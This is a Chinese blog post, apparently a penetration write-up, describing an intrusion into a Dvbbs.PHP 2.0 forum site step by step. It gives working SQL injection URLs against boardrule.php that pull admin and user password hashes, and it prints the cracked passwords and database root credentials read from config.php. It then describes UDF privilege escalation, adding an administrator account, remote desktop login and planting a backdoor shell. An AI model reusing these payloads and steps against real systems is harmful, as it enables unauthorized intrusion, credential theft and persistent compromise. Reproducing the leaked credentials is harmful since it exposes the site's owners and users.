一次Dvbbs.PHP 2.0的提权拿shell

  • A+
所属分类:WEB安全

作者:candy1988

目标:   http://58.64.xxx.ooo/

要求:拿到后台密码、拿到webshell、创建管理员账号密码、远程连接3389远程桌面

过程:1、查看版本

打开页面,看到页面底部Copyright © 2000 – 2008 Dvbbs.PHP Powered By Dvbbs Version 2.0++ RC1通过这个提示,我们知道这个这个网站使用的是一个动网的2008的一个论坛源码,在搜索的过程中,我发现这套源码存在一个注入boardrule.php这个文件对参数过滤不够严,这样就可以注入数据库,查询数据库中的表和数据

一次Dvbbs.PHP 2.0的提权拿shell

 

2、构造注入

利用存在的注入漏洞手动构造注入数据库查询数据库版本

http://www.yunsec.net/boardrule.php?groupboardid=111111/**/union/**/select/**/version()

一次Dvbbs.PHP 2.0的提权拿shell

 

查询发现数据库版本为5.5.27,之前mysql曾经出现过一个漏洞,可以以任何密码尝试256次之后登陆mysql,但是在5.5.27版本已经修复,所以这个方法走不通;

3、注入获取后台账号密码

http://www.yunsec.net/boardrule.php?groupboardid=1/**/union/**/select/**/concat(username,password)/**/from%20av_admin%20where%20%20id%20=%201/**/

一次Dvbbs.PHP 2.0的提权拿shell

 

 

我们看到后台账号:gongxi 密码058f24c82c0fe757

 

一次Dvbbs.PHP 2.0的提权拿shell

通过md5解密后,发现后台密码为henrongyi

4、注入获取前台账号密码

http://yunsec.neto/boardrule.php?groupboardid=1/**/union/**/select/**/concat(username,userpassword)/**/from%20av_user%20where%20%20userid%20=%201/**/

一次Dvbbs.PHP 2.0的提权拿shell

 

我们看到前台的账号admin,密码469e80d32c0559f8

一次Dvbbs.PHP 2.0的提权拿shell

 

Md5解密后,发现密码为admin888

现在前台:admin  admin888

     后台:gongxi  henrongyi

5扫描后台

利用webscan扫描http://yunsec.net/的后台,发现后台路径为

http://www.yunsec.net/admin/login.php

一次Dvbbs.PHP 2.0的提权拿shell

 

6、登陆后台

成功登陆后台;

一次Dvbbs.PHP 2.0的提权拿shell

 

7上传webshell

   在风格管理里面,添加风格模版,提示没有权限,上传头像gif,也是提示没有权限,尝试了很多方法,后台上传shell均不成功,放弃;

一次Dvbbs.PHP 2.0的提权拿shell

一次Dvbbs.PHP 2.0的提权拿shell

 

 

8,重新尝试注入数据库

这次用工具来注入,利用Havij尝试注入,注入点为:

http://yunsec.net/boardrule.php?groupboardid=1,结果这次注入成功,获取到了所有的表、字root用户,密码的md5值等等,到此,我的小心脏兴奋了,前面走了太多的弯路,终于踏上正道了,这个时候发现root的密码md5解不开,头疼,在准备放弃的时候,发现这个注入点还可以读取任意的配置文件,自己讲dvbbs下载到本地分析,找到配置文件的路径为/inc/config.php;

一次Dvbbs.PHP 2.0的提权拿shell

 

9、读取config.php

File Address里面添加config.php的绝对路径

C:www/dvbbsinonfig.php

然后点击read file,瞬间我的小心脏又兴奋了,账号密码赤裸裸的躺着

// 数据库(database server)

$dbhost = ‘localhost';

// 数据库名(database name)

$dbname = ‘sqlzhuru';

// 数据库用户名(database username)

$dbuser = ‘root';

// 数据库密码(database password)

 

$dbpw = ‘config/w123′;

一次Dvbbs.PHP 2.0的提权拿shell

 

10、利用mysql

前面用webshell这条路走不通,拿到mysqlroot用户密码之后,就可以尝试利用udf来提权了;

一次Dvbbs.PHP 2.0的提权拿shell

 

加入管理员组

一次Dvbbs.PHP 2.0的提权拿shell

 

11、远程登录

尝试3389端口,连接不上,端口没有打开,远程打开,尝试失败,打开扫描工具,扫描端口;发现10001端口开着,尝试从10001作为远程桌面窗口登录,登录成功;

一次Dvbbs.PHP 2.0的提权拿shell

 

登录桌面

一次Dvbbs.PHP 2.0的提权拿shell

 

 

12、登录成功

一次Dvbbs.PHP 2.0的提权拿shell

利用远程桌面上传后门shell,到此结束;

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: